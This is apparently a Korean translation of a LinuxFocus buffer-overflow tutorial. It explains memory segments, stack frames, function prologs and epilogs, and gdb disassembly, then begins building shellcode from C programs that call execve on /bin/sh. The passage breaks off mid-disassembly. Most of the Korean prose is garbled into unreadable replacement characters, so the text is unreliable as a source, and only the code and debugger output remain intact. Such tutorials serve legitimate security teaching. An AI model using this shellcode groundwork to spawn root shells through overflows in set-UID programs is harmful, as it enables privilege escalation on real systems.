|
|
This document is available in: English Castellano Deutsch Francais Nederlands Russian Turkce Korean |
/�۾��� : Frédéric Raynal, Christophe Blaess, Christophe Grenier �۾��� �Ұ�: Christophe Blaess�� �װ������Ͼ��̴�. �״� ������ ������ ������ �ý������� ���� ���� �����ϰ� �ִ�. ���� Linux����ȭ������Ʈ���� man�������� ������ �ð� �ִ�. Christophe Grenier�� ESIEA���� 5���� �л��̸鼭 �ý��� �����ڷ� Ȱ�����̴�. is a 5th year student at the ESIEA, where he ��ǻ�� ���ȿ� ���� ������ �ִ�. Frédéric Raynal�� �������� ���������� ����� �Դ�.�������� ȯ���� ������Ű���� �ʰ� ȣ������ ��������� �ʰ� ������ �⸧�� ���� ���� ���� ����� ������� ������ ������ ������ �����Ѵٰ�... ����: |
���:
�̹��� ��ȹ�� ������� applications ���� ��Ÿ���� �ִ� ���� �������鿡 ������ �ΰ� �ִ�. ���� ���α� ���߽� �ణ�� ����Ѵٸ� �̷��� �������� ���� �� �ִٴ� ���� �����ְ� �ִ�.
�̹��ۿ����� ���� ������ ����,���� funtion �� memory�� ���迡 ���ؼ� �ٷ����. ���� �̱��� �������κп����� shellcode�� ����� ����� �ٷ����. shellcode.
�츮�� �Ϲ�������, ���ɾ��� �̷���� ������,����� ǥ���� ����(�̰��� ���α����ϴ� ���ʹ� �������) binary��� �θ���. binary file�� ��� ���� ó�� compile�� ��, program source�� ����(variable),���(constants),���ɾ�(instructions) ���� �����Ѵ�. �� �忡���� binary�� �� �κ��� ���� ��� ��ġ�Ǵ����� �˾ƺ����� �Ѵ�.
��������(binary)�� ����Ǵ� ���� ����� �Ͼ���� �����ϱ� ���ؼ� ���� ������ ���캸��� ����. �������� ���� �������� ������ �� �����Ѵ�.
���� ���� �� ������ ��� ���� �����ְ� ���� ������, �� �ۿ��� ���������� �ٷ� ���뿡 ���� �� ������ �� �����ְ� �ִ�.
�Ʒ��� ������size -A file --radix 16
�̶� ������ compile�ɶ� ������ ������ �����ϴ� ũ�⸦ �����ִ�
�����̴�. �� ������ ���ؼ� ������ ������ ����
�� �ּҸ� ���� �� �ִ�(�̿� ���� ������ objdump
���
���ɾ ���ؼ��� ���� �� �ִ�.). ������� "fct" ���
��������(binary)�� size
�� ���� �����.
>>size -A fct --radix 16 fct : section size addr .interp 0x13 0x80480f4 .note.ABI-tag 0x20 0x8048108 .hash 0x30 0x8048128 .dynsym 0x70 0x8048158 .dynstr 0x7a 0x80481c8 .gnu.version 0xe 0x8048242 .gnu.version_r 0x20 0x8048250 .rel.got 0x8 0x8048270 .rel.plt 0x20 0x8048278 .init 0x2f 0x8048298 .plt 0x50 0x80482c8 .text 0x12c 0x8048320 .fini 0x1a 0x804844c .rodata 0x14 0x8048468 .data 0xc 0x804947c .eh_frame 0x4 0x8049488 .ctors 0x8 0x804948c .dtors 0x8 0x8049494 .got 0x20 0x804949c .dynamic 0xa0 0x80494bc .bss 0x18 0x804955c .stab 0x978 0x0 .stabstr 0x13f6 0x0 .comment 0x16e 0x0 .note 0x78 0x8049574 Total 0x23c8
text
������ ���α��� ���ɾ��(instructions)�� ����Ǹ�,
�� ������ read-only�����̴�. �� ������ ���� ����������
������ �������϶� ��� ���μ���(process)�� �����ϴ� �����̴�.
�� ������ ���� ������ �õ��� segmentation violation error��
������ ���̴�.
�ٸ� ������ ���� �����ϱ� ����, C������ ����(varilable)��
���ؼ� ��� �˾ƺ���. ��������(global variables)�� ����
�ϸ�, ���α� ��ü���� ���������� ��ȿ�� �ݸ�, ��������(
local variables)�� �����ϸ� �� ���������� ����� �Լ��ȿ�����,
��ȿ�� ���� ������. ���� ����(static variables)�� �����ϸ�,
����� ������ ������ ũ�⸸ŭ�� ������ Ȯ���Ѵ�. �� ������
�������δ� char
,int
,double
,
pointer(C ���� *�� �Բ� ǥ���Ǵ�pointer�� ������ ���Ѵ�.)���� �ִ�.
PCŸ���� ��ǻ�Ϳ��� ������(pointer)�� 32bit�� ������ �ּ�ü��(integer address)��
ǥ���ȴ�. static������ ũ��� �����ϵǴ� ���� ��Ȯ���� �� ��
����.��������(dynamic variable)�� ���������� �� ������ �Ҵ��ϹǷ�,
�����Ͱ� �� �Ҵ�� �ּҸ� ����Ű�� �ִ�. global/local,static/dynamic
�������� ���� ����Ͽ��� �������.
�ٽ�, ������ ���캻 �� ������ �Ѿ ����. data������
�ʱ�ȭ�� ���� ���� data
(the initialized global static
data)�� ����Ǵ� �ݸ�(�� ���� �����Ͻ� �����ȴ�.), bss
segment�� �ʱ�ȭ���� ���� ���� data(global data)�� ����ȴ�.
�� ������ ���� ������ �ִ� objects�� ���� ���ǵ� ����
ũ�Ⱑ �ֱ� ������ �����ϵɶ� �����ȴ�.
���ٸ� �����Ͻ� ���������� ���������� ��� �ɱ�? �̵��� ���α� ������ ���� �� ������ �������� ����ȴ�( �̵��� user stack frame�̶�� ���� �����Ͽ� �̰��� ����ȴ�.). �Լ��� �ݺ������� ȣ��DZ� ������ ���������� instances ������ ������ �� �� ����. ���������� �����ϸ�, �̵��� stack�� �־����� �ȴ�. �� ������ user address �������� ���� �� �ּҹ����� �ֻ����� ��ġ�ϸ�, LIFO(Last In, First Out)�� ���� �����Ѵ�. user frame������ �Ʒ����� ���������� �Ҵ翡 ���ȴ�. �̺κ��� heap�����̶� �θ���. �̰��� ���������� �����Ϳ� ���� ���������� �� ������ �����ϰ� �ִ�. 32bit ü�迡�� ������ ������ ����������, BSS�Ǵ� stack���� � ��Ȯ�� �ּҸ� ����Ű���� �ʴ´�. ���μ����� memory�� �Ҵ������μ� (malloc���� �Լ��� �Ἥ) �� ���� ù��° ����Ʈ�� �ּҰ� �����ͺ��������� ���� �ȴ�.
�Ʒ��� ������ �ȿ��� �������� � ������ ���ϴ� ���� �� �����ְ� �ִ�. :
/* mem.c */ int index = 1; //in data char * str; //in bss int nothing; //in bss void f(char c) { int i; //in the stack /* Reserves 5 characters in the heap */ str = (char*) malloc (5 * sizeof (char)); strncpy(str, "abcde", 5); } int main (void) { f(0); }
Gnu/linux ������� gdb
�� �̿��Ͽ� �̸� Ȯ���غ���.
>>gdb mem GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb)
breakpoint�� f()
���Ѻ���:
(gdb) list 7 void f(char c) 8 { 9 int i; 10 str = (char*) malloc (5 * sizeof (char)); 11 strncpy (str, "abcde", 5); 12 } 13 14 int main (void) (gdb) break 12 Breakpoint 1 at 0x804842a: file mem.c, line 12. (gdb) run Starting program: mem Breakpoint 1, f (c=0 '\000') at mem.c:12 12 }
������ ������ ������ ��ġ�ϴ� ���� Ȯ���غ� ���ʴ�.
1. (gdb) print &index $1 = (int *) 0x80494a4 2. (gdb) info symbol 0x80494a4 index in section .data 3. (gdb) print ¬hing $2 = (int *) 0x8049598 4. (gdb) info symbol 0x8049598 nothing in section .bss 5. (gdb) print str $3 = 0x80495a8 "abcde" 6. (gdb) info symbol 0x80495a8 No symbol matches 0x80495a8. 7. (gdb) print &str $4 = (char **) 0x804959c 8. (gdb) info symbol 0x804959c str in section .bss 9. (gdb) x 0x804959c 0x804959c <str>: 0x080495a8 10. (gdb) x/2x 0x080495a8 0x80495a8: 0x64636261 0x00000065
1�� ����(print &index
)�� ����������
index
�� �� �ּҸ� �����ش�. �ι�° ����
(info
)�� index�� ���ּҿ� symbol�� ������Ѽ�
���� � ������ �� �ּҰ� �����ϴ����� �����ش�:
index
�� �ʱ�ȭ�� ���� ���� �����̹Ƿ�
data
������ ����ȴٴ� ���� �� ������ ����
�� �� �ִ�.
3���� 4�� ���ɾ�� �ʱ�ȭ���� ���� ���� ������
nothing
�� BSS
segment�� ����ȴٴ� �����
�����ְ� �ִ�.
5�������� str
�� �����ְ� �ִ�. �����δ�
str
������ ������ �����ְ� ������ �� �ּҴ�
0x80495a8
�̴�. 6�� ������ �� �ּҿ��� �ƹ���
������ ���ǵǾ� ���� ������ �����ְ� �ִ�.
7���������� str
������ �ּҸ� ��,
8���������� �� ������ BSS
segment�� �����Ѵٴ�
���� �����ְ� �ִ�.
9�������� 0x804959c
�� �ּҿ� ����� ��
���뿡 �ش��ϴ� ���� 4bytes�� �����ش�: �� ��
������ heap ������ �����Ѵ�. 10�������� ���ڿ�
"abcde"�� �� �� �ּҿ� �����Ѵٴ� �����ش� :
hexadecimal value : 0x64 63 62 61 0x00000065 character : d c b a e
���������� c
�� i
�� ���ÿ� ����ȴ�.
�츮�� ���α����� size
���ɾ ���� ����
������ ������ ���� ũ�Ⱑ �츮�� ����� ����
�ٸ��ٴ� ����� �˾ƾ� �Ѵ�. ũ�Ⱑ �ٸ�
������ ���̺귯������ ����� ������ �ٸ� ��������
���α� ����� ��Ÿ���� �����̴�(gdb
����
info variables
��� ������ ���� �̵� ��θ�
���� �� �ִ�.).
�Լ��� ȣ��� ������, ���� ������ �Լ��� ���ڵ���
���� ���ο� ȯ���� �����ȴ�(����� ���� ȯ��
(environment)�̶�, �Լ��� �����ϴ� ���� ��Ÿ����
��� ��Ҹ� �ǹ��ϸ� ����� �Լ��� ����(arguments),
��������, return address���� ���Եȴ�. ���⼭
���� ȯ���̶� �ܾ�� shell�� ȯ�溯���ʹ�
�ٸ��Ƿ� ȥ������ �ʱ� �ٶ���.). %esp
(extended stack pointer)�� ������ �ֻ��� �ּҸ� ������
�ִ� ���������̸�, ������ �츮�� ǥ���� ����
������(bottom)�� ǥ���ȴ�. ������ ���ÿ� ��������
������ ��Ҹ� ����Ű�� �ִٴ� ���� ������
�����ϴµ� �ֻ���(top)�̶� ǥ���� �� �� ��︮�Ƿ�
top�̶�� ��� �θ� ���̴�: �̰��� �ý��� ������
�������̾, �� �������Ͱ� ���δ� ������
ù��° �� ������ ����Ű�� �ִ� ��쵵 �ִ�.
���ÿ��� ���������� �ּҴ� %esp
�� ���� offset����
ǥ���ȴ�. ���� %esp�� �̿��ϸ� ���ڵ�(items)�� ���ÿ�
�ְ� ���� �ϴ� �۾��� �־ �� �� ������ offset��
�������ؾ� �ϹǷ� �ſ� ��ȿ�����̴�. �̷��� ��������
�ذ��ϴ� ������� %ebp
�� ����Ѵ�:%ebp(extended base
pointer)�� ���� �Լ��� ȯ���� ���۵Ǵ� �ּҸ� �����ϰ�
�ִ� ���������̴�. ���� �� �������Ϳ� ���� offsetǥ��
�� �����ϴ�. ���� �Լ��� ����Ǵ� ���� ������
�ʴ´�. ������ ������ ������ �� �����Ͽ��ٸ�, �Լ��ȿ���
���������� ���ڸ� ���� ã�� �� ���� ���̴�.
������ �⺻ ������ word�̴� : i386 CPU������ 32bit, ��
4bytes�̴�. �̰��� �ý��ۿ� ���� �ٸ���. Alpha CPU������
word�� 64bit�̴�. ������ ������ words�����θ� �ٷ��
���Ƿ�, �Ҵ�� ��� ������ ���� word size�� ������
�ȴ�. �̺κп� ���ؼ��� �Լ��� prolog�κп��� �� ��
�ڼ��� �ٷ꿹���̴�. ���� ������ gdb
�� ���Ͽ�
str
������ ������ �� �� �־��µ�, �̺κ��� ������
�⺻������ word��� ���� �� �����ְ� �ִ�. gdb
��
x
������ 32bit word��ü�� �����ش�(�̰���
�������κ��� ���������� �д´�.i386 CPU������
little endian������ ������ �ֱ� �����̴�.).
���ÿ��� ���� ���̴� 2���� cpu ���ɾ �ִ�:
push value
:
�� ������ ������ �ֻ���(top)�� value
�� ���� �ִ´�.
�̸����� ���ÿ��� ����� �� �ִ� ���� word�� �ּҸ� ���, word��
ũ�⸸ŭ %esp
�� ���ҽ�Ų��;pop dest
: �̸����� ������ �ֻ���(top)�ִ� item��
dest�� �ִ´�. dest
�ȿ��� %esp
�� ����Ű�� �ִ�
�ּҰ��� �־����� %esp
�� �����Ѵ�.������ ���ÿ��� ���ŵǴ� ����
�ƹ��͵� ����. �ٸ� ������ �ֻ��� ������ ��ȭ�Ѵ�.
��Ȯ�� �������Ͷ�� ���� ������ ���ϴ� ���ϱ�? �����ϰ� �������ڸ�,�� ���������� words�� �����Ǵ� ���� ���� �� word�� �����ϰ� �ִ� ������������ �����ϸ� �ȴ�. �Žð����� ���ο� ���� �������Ϳ� ���� �ȴ�(�̶� ���� ����� ���� ��������.).�̹ۿ���, �������ʹ� �� CPU���̿� ��������� �����ϴٴ� Ư¡�� ������ �ִ�.
���������̸��� ���� �տ� �ִ� 'e
'�� "extended"��
�ǹ��ϸ�, �̰��� 16bit�������� 32bit�������� ��ȭ�� ��Ÿ����.
�������ʹ� ������ ���� 4���κ����� ���� �� �ִ� :
%eax
, %ebx
,%ecx
,
%edx
�� ��� ���Ѵ� ;%cs
, %ds
,
%esx
,%ss
�� ��� ���Ѵ�;%eip
(Extended Instruction Pointer) :
������ ����� ���ɾ ���� �ּҸ� ����Ų��;%ebp
(Extended Base Pointer) : �Լ���
���������� ���� ȯ���� ���۵Ǵ� ���� ����Ų��;%esi
(Extended Source Index) : ��
block�� �̿��� ����(operation)���� data source offset�� ������ �ִ�;%edi
(Extended Destination Index) : ��
block�� �̿��� ����(operation)���� destination data offset�� ������ �ִ�;%esp
(Extended Stack Pointer) : ������
�ֻ���(top)�� ����Ű�� �ִ�;/* fct.c */ void toto(int i, int j) { char str[5] = "abcde"; int k = 3; j = 0; return; } int main(int argc, char **argv) { int i = 1; toto(1, 2); i = 0; printf("i=%d\n",i); }
�� �忡���� ���� �ִ� �Լ����� �Ͼ�� ���� ���ð� �������Ϳ� ������ ���߾� �����Ϸ� �Ѵ�. � ������ ���α��� �������� ��ȭ�� ���Ͽ� �̷������. �̷��� ���� �����ϱ� ���Ͽ�, �Ϲ������� � ���� �Ͼ������ ���ؼ� �ƴ� ���� �߿��� ���̴�.
�Լ��� ������ ������ ���� ���κ����� ���� �� �ִ� :
push %ebp mov %esp,%ebp push $0xc,%esp //���⼭�� $0xc��� ���� %esp ���� ���־��µ� �̰��� ���α��� ���� �ٸ��� ��Ÿ�� �� �ִ�.
�� ������ ���ɾ���� �츮�� prolog�� �θ���.
diagram 1���� toto()�Լ���
prolog�κп��� �Ͼ�µ����� %ebp
��
%esp
�������� ���� �� �� �ִ�.:
ó���� %ebp �������ʹ� X ��� ����
� address�� ����Ű�� �ִ�. %esp �������ʹ�
������ ������ �����ϸ� ���� ���������� ������ ������
����Ű�� �ִ� Y��� address�� ������ �ִ�.
�ϴ� �Լ� �ȿ� ������ ������ ȯ���� ���ۺκ�,��,
%ebp �� �����ؾ� �Ѵ�. �̶����� %ebp ��
���ÿ� �ְ�(push), %esp �� %ebp �� ���ÿ�
push�DZ� ������ �� ũ�⸸ŭ �����ϰ� �ȴ�. | |
�ι�° ������ �Լ����� ���ο� ȯ���� ����� ����
����Ѵ�. �̰��� ������ ���� ����(top)�� %ebp
�� ��ġ ��Ŵ���ν� ����������. ���� %esp ��
%ebp �� �Ȱ��� �� address��
����Ű�� �ִ�. (�� �ּҴ� ������ ���¸� ���
�ִ� address �̴�.[environment address]) | |
���� ���ÿ� ���� ������ �����ϱ� ���� ������
Ȯ���ؾ� �Ѵ�. �� ���ڿ��迭�� 5���� ��ҷ�
�����Ǿ��ְ�(char str[5] = "abcde";),char ����
1 byte�� ũ���̱� ������ 5 bytes�� ������
Ȯ���ϸ� ����� ������ ���δ�. ������ ������
���� words������ �ٷ������ ������ word��
���(1 word, 2 words, 3 words...)��
����Ǿ�� �Ѵ�. word�� 4bytes�� ��� 5bytes��
�����ϱ� ���ؼ��� 8bytes�� ������ �ʿ��ϴ�.(2 words)
������ ��ĥ�� �κ��� ���ڿ� �κ��� �ƴ�����
�̷��� ��Ģ�� ���ؼ� ������ ���ȴ�.
int�� k �� 4 bytes�� ������ ����Ѵ�.(int k = 3;)
�� ������ %esp ���� 0xc (�������� 12)
��ŭ�� ���� ���ҽ�Ŵ���ν� Ȯ���ȴ�. �̸� ���� ����������
8+4=12 bytes (i.e. 3 words)�� ����Ѵٴ� ���� �� �� �ִ�. |
�� chapter�� ���뿡���� ���� ��� �̾߱�����
������������ ���ؼ� �˾Ƶξ�� �� �߿��� ������ �ִ�.
�װ��� ������������ %ebp
�� ���õɶ� ���� offset(negative offset)
�� �����ٴ� ���̴�. ������ main()
�Լ�����
i = 0;
�̶�� ������ ���ؼ� �̰��� ���캸�� �Ѵ�.
assembly code������ �����ּҹ������ ���� i
�� access�Ѵ�:
0x8048411 <main+25>: movl $0x0,0xfffffffc(%ebp)
hex�� 0xfffffffc
�� int �� -4
�� �ǹ��Ѵ�.
�� ǥ���� �� 0
�� %ebp
�� ���� -4bytes
������ ���� �ִ� ������ �����Ѵ� ���� �ǹ��Ѵ�.
i
��main()
�Լ����� �ϳ����� ���������̸�
���� ���� ���� ���������̹Ƿ� %ebp
�Ʒ� 4bytes(int���� size)
��ŭ ������ ���� ��ġ�Ѵ�. �Լ��� prolog�κ��� ���� ȣ��� �Լ��� ���� ȯ���� �����ϴ� ���� �ۿ� ���� �ʴ´�. �Լ��� ���ڸ� ���ް� �� �Լ��� ������ ������ �� ȣ��� �Լ��� �ڸ��� ���ư��� ������ �Լ��� ȣ��(the function call)�� ����Ѵ�.
���������� �Լ�ȣ��κ��� toto(1,2);
�̴�.
��,toto()�Լ��� ȣ�������� ����� �Ͼ���� ���� ���ؼ�
�˾ƺ����� ����.
�Լ��� ȣ��DZ� ���� �Լ��� ���Ǵ� ���ڵ�(toto(1,2);����
1��2)�� ���ÿ� ����ȴ�. ���� ������ó�� 1�� 2��
�ֱٿ� ���� ������ ���ۺκп� ���� ���̰� �ȴ�. ����
��Ÿ�� ��ó�� %eip �� ������ ������ ����(instruction)
�� �ּҸ� ������ ������ ����� �� �ּҴ� �ٷ� �Լ� ȣ��
(the function call)������ �ִ°��� �ּ��̴�. | |
push %eip call �� ����(�̱ۿ����� call 0x80483d0
toto() �� 0x80483d0 )�δ� toto() �Լ���
prolog�κ��� ù��° ���ɾ� �ּҿ� ���� ���� �־�����.
�� �ּҴ� %eip �� ����Ǹ�,<�� 5>������ ����
������ ������ ���ɾ�(push %ebp )�� ����Ű�� �ȴ�. |
�Լ��ȿ��� � ���� ����� ������ �װ���
���ڵ�� ���� ��巹���� %ebp
�� ���� ���� offset(positive
offset)�� ������. �̴� next instruction�� %ebp
��
������ �ֻ���(top)�� �ֱ�(push)�ϱ� �����̴�. toto()
�Լ��ȿ�
�ִ� j= 0;
�̶�� ������ ������ �̸� �˾ƺ���.
������� �ڵ�� j
�� ���������ϱ� ���� ���Ǿ���:
0x80483ed <toto+29>: movl $0x0,0xc(%ebp)
hex�� 0xc
�� integer +12
�� ��Ÿ����.
���� ���� ������ %ebp
�� ���Ͽ� "+12bytes"��ŭ
������ ���� �ִ� ������ 0
�̶� ���� �ְڴٴ� ���̴�.
j
�� �Լ��� �ι�° �����̸�, %ebp
��
�ֻ���("on top")���� 12bytes������ ���� ��ġ�Ѵ�.
(4bytes�� instruction pointer backup(������ ������
call�� ������ ���Ѵ�.)�̰�, 4bytes�� ù��° ����(1)�̰� �� ����
4bytes�� �ٷ� �ι�° ������ �ڸ��̴�.) �Լ����� ��� ������ �ΰ��� ������ �Ͼ��. ù��°��,
�Լ��� ���� ������� ȯ���� ������ ���ִ� ���̴�.
(�̴� �Լ�ȣ��(call) ������ ���·� %ebp
��
%eip
�� �������� ���� �ǹ��Ѵ�.). �̰��� ������ �츮��
�Լ��� ����� ������ ��� ���� ������ �˻��ϰ� �Լ��� ���������⸸
�ϸ� �ȴ�.
ù��° ������ �Լ����� ������ �������� ����ȴ� :
leave ret
�ι�° ������ �Լ��� ȣ��Ǿ����� ���ÿ� ��ġ�ϴ� �Լ��� ���ڸ� ���ÿ��� û���ϴ� �۾��� �Ѵ�.
toto()
�Լ��� ������ �̷��� ������ ���캸��� ����.
���� �ۿ��� �ٷ� ȣ��� prolog�� �Ͼ�� ���� ���¿�
���ؼ� �ٽ� �ѹ� ���÷� ����. �Լ� ȣ���� �Ͼ�� ����,
%ebp ��X ��� �ּҸ� ������ �־���,
%esp �� Y ��� �ּҸ� ������ �־���.
������ ������ �Լ��� ȣ��ǰ� �� �Ŀ��� �Լ��� ���ڿ�
����� %eip (���� ��巹��)�� %ebp (sfp)
,���� ���������� ���� ������ Ȯ���Ǿ� ���ÿ� ����Ǿ�
�ִ�. �̷��� ���۵� ���Ŀ� ����� ������ �ٷ� leave �̴�. |
|
leave ������ �Ʒ��� ���ɾ���� �����ϴ� �Ͱ� ����
������ �Ѵ�:
ù��° ������mov ebp esp pop ebp %esp �� %ebp �� ���ÿ���
���� ��ġ�� ���� ������ �Ѵ�. �ι�° ������ ������ �ֻ���(top)��
�ִ� ��(X ��� address)�� %ebp �� �ִ�
������ �Ѵ�(%esp �� %ebp �� ���� ��ġ��
����Ű�� %ebp �� pop�Ǹ� ��������� %esp
�� 4����Ʈ��ŭ �����ϰ� �ȴ�.).leave ���ɾ� �ϳ�������,
���ÿ��� prolog������ ���� ���� ��ó�� ���̰� �ȴ�. |
|
ret ���ɿ��� �Լ��� ����ǰ� �� ��(leaving)��
����� ���� �ּҸ� ������ �ִ� %eip �� ���ԵǾ� �ִ�.
�̶����� %eip �� ������ �ֻ���(top)���� ���Ž��Ѿ� �Ѵ�.
������ �Լ��� ���ڰ� ���ÿ� ���������Ƿ� �ʱ�ȭ ���°� ���� �ʾҴ�.
�̵��� �����ϱ� ���� |
|
���ڵ��� ���ÿ� ���ִٰ� �Լ��� ����� �Ŀ��� ���ÿ���
������� �ȴ�(unstacking). �̰����� ���� ������ ȣ��� �Լ���
���ɾ�� ȣ���� �Լ��� ���ɾ� add 0x8, %esp �� ��Ÿ�´�.
(ȣ��� �Լ�(called function)�� ȣ���� �Լ�(calling function)��
������ �������� �Ͽ���.). �̸���(add 0x8, %esp )��
%esp �� ������ �ֻ���(top)���� �������´�.
���⼭ 0x8 �� toto() �Լ��� ���ڵ���
����� bytes���� ���Ѵ�. %esp ,%ebp ��
���� �Լ�ȣ��(call)���� ��Ȳ�� �Ǿ���. �ݸ鿡 %eip ��
���� ���� ���� ���ؼ� �� �� �ִ�. |
gdb�� ����Ͽ� main()�Լ��� function()�Լ��� ������� �ڵ带 ���� �� �ִ�:
���� �ּ��� ���� ���� �κ��� ���ɵ��� ��κ� instance�� �Ҵ��ϴ� ���ɵ��̴�.>>gcc -g -o fct fct.c >>gdb fct GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble main //main Dump of assembler code for function main: 0x80483f8 <main>: push %ebp //prolog 0x80483f9 <main+1>: mov %esp,%ebp 0x80483fb <main+3>: sub $0x4,%esp 0x80483fe <main+6>: movl $0x1,0xfffffffc(%ebp) 0x8048405 <main+13>: push $0x2 //call 0x8048407 <main+15>: push $0x1 0x8048409 <main+17>: call 0x80483d0 <toto> 0x804840e <main+22>: add $0x8,%esp //return from toto() 0x8048411 <main+25>: movl $0x0,0xfffffffc(%ebp) 0x8048418 <main+32>: mov 0xfffffffc(%ebp),%eax 0x804841b <main+35>: push %eax //call 0x804841c <main+36>: push $0x8048486 0x8048421 <main+41>: call 0x8048308 <printf> 0x8048426 <main+46>: add $0x8,%esp //return from printf() 0x8048429 <main+49>: leave //return from main() 0x804842a <main+50>: ret End of assembler dump. (gdb) disassemble toto //toto Dump of assembler code for function toto: 0x80483d0 <toto>: push %ebp //prolog 0x80483d1 <toto+1>: mov %esp,%ebp 0x80483d3 <toto+3>: sub $0xc,%esp 0x80483d6 <toto+6>: mov 0x8048480,%eax 0x80483db <toto+11>: mov %eax,0xfffffff8(%ebp) 0x80483de <toto+14>: mov 0x8048484,%al 0x80483e3 <toto+19>: mov %al,0xfffffffc(%ebp) 0x80483e6 <toto+22>: movl $0x3,0xfffffff4(%ebp) 0x80483ed <toto+29>: movl $0x0,0xc(%ebp) 0x80483f4 <toto+36>: jmp 0x80483f6 <toto+38> 0x80483f6 <toto+38>: leave //return from toto() 0x80483f7 <toto+39>: ret End of assembler dump.
�Լ��� return address�� ������ �ּҷ� ������ ��� ���α��� ���ÿ������� Ư���ڵ带 �����ų �� �ִ�. �̶�, cracker�� ������ ������� �κ��� ���α�(application)�� user�� ID�� �ƴ� Ư�� ID,��, Set-UID�� daemon���� ����ǰ� �ִٴ� ����� ���̴�. �̷� ������ �Ǽ��� document reader���� ���α����� �Ͼ�ٸ� ����� �����ϴٰ� �� �� �ִ�. ��ǥ���� ���� Acrobat Reader bug�� �� �� �ִµ� �� bug�� buffer overflow�� �̿��Ͽ� ������ ������ �� �ִ� bug�̴�. ����,�̷��� ���輺�� network services(i.e: imap) ���� �����ϰ� ������ �˾Ƶα� �ٶ���.
���� �忡����, ��������� ����� �� �ִ� ����� ���ؼ� �ٷ���� �Ѵ�.
������� main application���� ����DZ� ���ϴ� code�� ���ؼ� �м��Ѵ�.
��������� ����ϱ� ���� ���� ������ �ذ�å�� shell�� �����Ű�� ������
�ڵ带 ����� ���̴�. ����� /etc/passwd
������ ������
�ٲٴ� �ϵ��� ������ ������ �� �ְ� �� ���̴�. �̰��� ���� ��������
�̸������� �ٷ�� ������ �� ���α��� Assembly language�� ¥���ϱ�
�����̴�. shell�� �����Ű�� �̷� ���� ���α����� �Ϲ�������
shell��� ���.
�̱ۿ� ���� �������� Phrack magazine 49�� �Ǹ� Aleph One�� "Smashing the Stack for Fun and Profit"���� ���� ������ �����.
shellcode�� ������ �ٷ� shell�� �����Ű�� ���̴�. �̰��� C���� �����ϸ� ������ ����:
/* shellcode1.c */ #include <stdio.h> #include <unistd.h> int main() { char * name[] = {"/bin/sh", NULL}; execve(name[0], name, NULL); return (0); }
�Լ��� �̿��Ͽ� shell�� ȣ���ϴ����� �����ѵ�,
�������� ������ execve()
�Լ��� ���� �̿�ȴ�.
ù°�� exec()
�迭�� �ٸ� �Լ������ ��
ǥ�� system-call(true system-call)�̶�� ���̴�.
������, execve()
�� ���� �ٸ� exec()
�迭��
GlibC library �Լ��� ���������. system-call�� interrupt�� ����
����ȴ�. �̷��� Ư¡�� �������� �����ϱ ����ϸ�,
�� �Լ��� ���빰�� ���� ȿ�����̸� ª�� assembly code��
���� �� �ִٴ� ������ ������.
������,execve()
�� ȣ���� ������������,
execve()
�� ȣ���� ���α� (���⼭��main application)��
���ο� ���α��� ���డ���� �ڵ�(executable code)��
��ü�ȴٴ� ������ ������. execve()
��
ȣ���� �����ϴ��� ���α��� ��� ����ȴ�. �̱ۿ�����
execve()
�ڵ带 ������ ���α��� �߰��� �����Ͽ���.
execve()
ȣ���� �����ϴ���, ���α��� ��� �����Ű�� ����
���ǹ��ϴ�. ������ �����ϸ� ���� ������ �Ѵ�. return(0)
��
main()
�Լ����� ȣ���ϸ� ���α��� ������ ������ ������
���⼭�� �� ������ ����� �������� ���Ѵ�. ���� exit()
�Լ���
����Ͽ� ���α��� ������ ������Ѿ� �Ѵ�.
/* shellcode2.c */ #include <stdio.h> #include <unistd.h> int main() { char * name [] = {"/bin/sh", NULL}; execve (name [0], name, NULL); exit (0); }
��� exit()
�� ���� system-call�� _exit()
�� �ΰ� �ִ� ���ϳ��� ���̺귯�� �Լ��̴�. ���ο� �ڵ忡����
_exit()
�� �Ἥ �ý����ʿ� �� ������ �Ͽ���:
/* shellcode3.c */ #include <unistd.h> #include <stdio.h> int main() { char * name [] = {"/bin/sh", NULL}; execve (name [0], name, NULL); _exit(0); }�����忡���� ���α��� �� ���α��� ������� �ڵ带 ���غ� ���̴�.
gcc
�� gdb
�� �̿��Ͽ� ���忡��
���α����ѰͿ� �ش��ϴ� assembly instruction��
���� �� �ִ�. shellcode3.c
�� �����ɼ�(-g
)��
�������̺귯���� �����ϱ� ���� �ɼ�(--static
)
�� �߰��Ͽ� �������Ѵ�. �̸� ���Ͽ�, �츮��
system-call�� _execve()
�� _exit()
�� ������
������ �� �ִ� ����� ������ ���� �� �ִ�.
$ gcc -o shellcode3 shellcode3.c -O2 -g --static��������,
gdb
�� ����Ͽ� ���α��� ������� �ڵ带
���캼 ���̴�. �̰��� Inter�÷����� linux���� ��Ʈ
�Ѱ��̴�.(i386�� �� ���� ����)
Next, with gdb
, we look for our functions Assembly
equivalent. This is for Linux on Intel platform (i386 and up).
$ gdb shellcode3 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"...�Ʒ���
main()
�Լ��� ������� �ڵ��̴�.
(gdb) disassemble main Dump of assembler code for function main: 0x8048168 <main>: push %ebp 0x8048169 <main+1>: mov %esp,%ebp 0x804816b <main+3>: sub $0x8,%esp 0x804816e <main+6>: movl $0x0,0xfffffff8(%ebp) 0x8048175 <main+13>: movl $0x0,0xfffffffc(%ebp) 0x804817c <main+20>: mov $0x8071ea8,%edx 0x8048181 <main+25>: mov %edx,0xfffffff8(%ebp) 0x8048184 <main+28>: push $0x0 0x8048186 <main+30>: lea 0xfffffff8(%ebp),%eax 0x8048189 <main+33>: push %eax 0x804818a <main+34>: push %edx 0x804818b <main+35>: call 0x804d9ac <__execve> 0x8048190 <main+40>: push $0x0 0x8048192 <main+42>: call 0x804d990 <_exit> 0x8048197 <main+47>: nop End of assembler dump. (gdb)���� ���� ����,main()�Լ���
0x804818b
�� 0x8048192
���� �������� system-call�� ������ �ִ� C library subroutine�� ȣ���ϴ� ����
�� �� �ִ�.0x804817c : mov $0x8071ea8,%edx
